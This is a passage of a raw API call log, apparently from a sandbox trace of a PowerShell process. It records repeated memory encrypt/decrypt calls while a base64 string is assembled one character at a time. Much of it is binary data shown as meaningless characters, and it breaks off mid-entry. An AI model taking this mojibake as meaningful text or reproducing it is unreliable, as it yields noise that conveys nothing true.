(param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭仴ᯤ哺揘鷦䧡瞓ゕ∆) returned 0x30 [0255.038] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0255.038] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPLXM7fjioY⫔ꕡ⸟幨㤍") returned 0x30 [0255.038] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0255.038] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭ヴ櫓㹵嘄\䒎뭘ꠌ") returned 0x30 [0255.038] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭ヴ櫓㹵嘄\䒎뭘ꠌ") returned 0x30 [0255.038] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0255.039] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPLXM7fjioY=ꕡ⸟幨㤍") returned 0x30 [0255.039] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0255.039] EtwEventActivityIdControl () returned 0x0 [0255.039] EtwEventActivityIdControl () returned 0x0 [0255.039] EtwEventActivityIdControl () returned 0x0 [0255.040] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.040] EtwEventActivityIdControl () returned 0x0 [0255.040] EtwEventActivityIdControl () returned 0x0 [0255.040] EtwEventActivityIdControl () returned 0x0 [0255.041] SysStringLen (param_1="") returned 0x8 [0255.041] SysStringLen (param_1="N") returned 0x8 [0255.041] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.041] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.041] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0255.041] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.041] SysStringLen (param_1="ND") returned 0x8 [0255.041] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.042] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.042] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0255.042] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.042] SysStringLen (param_1="NDZ") returned 0x8 [0255.042] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.042] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.042] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0255.042] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.042] SysStringLen (param_1="NDZl") returned 0x8 [0255.042] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.042] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.042] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0255.042] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.043] SysStringLen (param_1="NDZlO") returned 0x8 [0255.043] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.043] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.043] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0255.043] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.043] SysStringLen (param_1="NDZlOD") returned 0x8 [0255.043] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.043] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.043] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0255.043] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.043] SysStringLen (param_1="NDZlODR") returned 0x8 [0255.043] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.043] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.044] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0255.044] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.044] SysStringLen (param_1="NDZlODRm") returned 0x8 [0255.044] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0255.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0255.045] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.045] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.045] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0255.045] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.045] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0255.045] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0255.045] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.046] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0255.046] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0255.046] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.046] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0255.046] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0255.046] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.046] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0255.046] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0255.046] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.047] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0255.047] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.047] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.047] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0255.047] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.047] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0255.047] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.047] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.047] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0255.047] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.047] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0255.047] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0255.048] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.048] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0255.048] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.048] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.049] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0255.049] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.049] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.049] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0255.049] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.049] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.050] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0255.050] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.050] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.050] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0255.050] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.050] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.050] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0255.050] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.051] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.051] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0255.051] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.051] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.051] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0255.051] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0255.052] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.052] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0255.052] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.053] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.053] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0255.053] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.053] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.053] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.053] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.053] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0255.053] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.053] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.053] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.053] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.053] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0255.053] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.054] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.054] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0255.054] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.054] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.054] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0255.054] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.054] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.055] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0255.055] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.055] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.055] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.055] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.055] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0255.055] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.055] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.055] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.055] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.056] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0255.056] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.056] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0255.056] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.056] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.056] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.056] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.056] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0255.056] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.056] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.056] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.056] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.057] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0255.057] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.057] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.057] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.057] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.057] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0255.057] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.057] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.057] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.057] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.057] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0255.057] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.058] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.058] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.058] SystemFunction041 (in: Memory=0x3af7dc, 